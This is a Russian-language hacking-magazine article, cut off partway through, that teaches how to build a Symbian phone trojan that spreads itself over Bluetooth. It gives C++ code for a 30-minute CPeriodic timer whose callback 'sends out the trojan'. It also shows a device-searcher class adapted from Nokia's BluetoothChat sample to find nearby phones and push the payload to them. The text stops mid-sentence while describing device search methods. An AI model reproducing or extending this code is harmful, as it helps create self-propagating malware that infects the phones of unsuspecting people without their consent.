Троян с синим зубом Дмитрий «Dem@n» Тарасов Хакер, номер #095, стр. 095-138-2 Для распространения злобных программ можно использовать разные методы. Но в том случае, когда требуется поразить как можно большее число аппаратов, целесообразнее использовать Serial Communication на основе bluetooth. Алгоритм распространения заразы Итак, пусть хакерская программка, установленная на телефон жертвы, каждые полчаса рассылает свою копию по bluetooth. Для этого взломщику понадобится объект класса CPeriodic, служащий для выполнения одних и тех же действий через одинаковые промежутки времени. В хедер класса, ответственного за функционал отправки sms, он добавит объявление переменной таймера: CPeriodic* iTimer; и создаст объект: iTimer = CPeriodic::NewL(-100); Здесь параметр NewL – приоритет Active Object, -100 – стандартное значение. Далее необходимо вызвать метод Start созданного объекта, и в целом код будет выглядеть следующим образом: const TTimeIntervalMicroSeconds32 KTimerDelay = 1800000000; // интервал времени в микросекундах. В данном случае 30 мин iTimer = CPeriodic::NewL(-100); // создаем объект класса CPeriodic iTimer->Start(KTimerDelay, KTimerDelay, TCallBack(TimerCallBack, this)); // запускаем таймер В функции Start первый параметр – время, через которое происходит первый запуск, второй – интервал между последующими запусками, а третий – функция, которая должна будет выполняться через каждые полчаса. Код этой функции выглядит примерно так: TInt CXaTroj::TimerCallBack(TAny* aParam) { CXaTroj * self = (CXaTroj *)aParam; ... //рассылаем троян return KErrNone; } Теперь необходимо реализовать класс, осуществляющий поиск доступных через bluetooth устройств и отправляющий им дистрибутив с файловым менеджером. Делать это лучше всего, основываясь на готовом примере BluetoothChat, который можно скачать по адресу http://forum.nokia.com/main/platforms/s60/books.html#code или взять на нашем диске. Там ты найдешь описание класса CBluetoothDeviceSearcher, служащего для поиска устройств. Немного модифицировав его, можно добиться требуемой функциональности. Описание класса имеет следующий вид: Члены класса CBluetoothDeviceSearcher class CBluetoothDeviceSearcher : public CActive { public: // Конструкторы класса static CBluetoothDeviceSearcher* NewL(MBluetoothObserver &aBluetoothObserver); static CBluetoothDeviceSearcher* NewLC(MBluetoothObserver &aBluetoothObserver); ~CBluetoothDeviceSearcher(); private: // конструктор – 2 фаза CBluetoothDeviceSearcher(MBluetoothObserver &aBluetoothObserver); void ConstructL(); void RunL(); void DoCancel(); // методы Active Object - объекта public: // Member functions void SelectDeviceL(TBTDeviceResponseParamsPckg& aResponse); ... //здесь можно расширить функционал в зависимости от требований private: // Member Data TBTDeviceResponseParamsPckg* iResponse; // необязательные параметры RHostResolver iResolver; // объект для поиска и фильтрации девайсов MBluetoothObserver& iObserver; // сессия к Bluetooth - серверу }; Как видишь, класс наследуется от CActive, то есть представляет собой объект Active Object. Это необходимо для реализации асинхронного вызова методов класса, длительность выполнения которых может быть довольно большой. Примером является поиск устройств, для которого есть 2 способа: |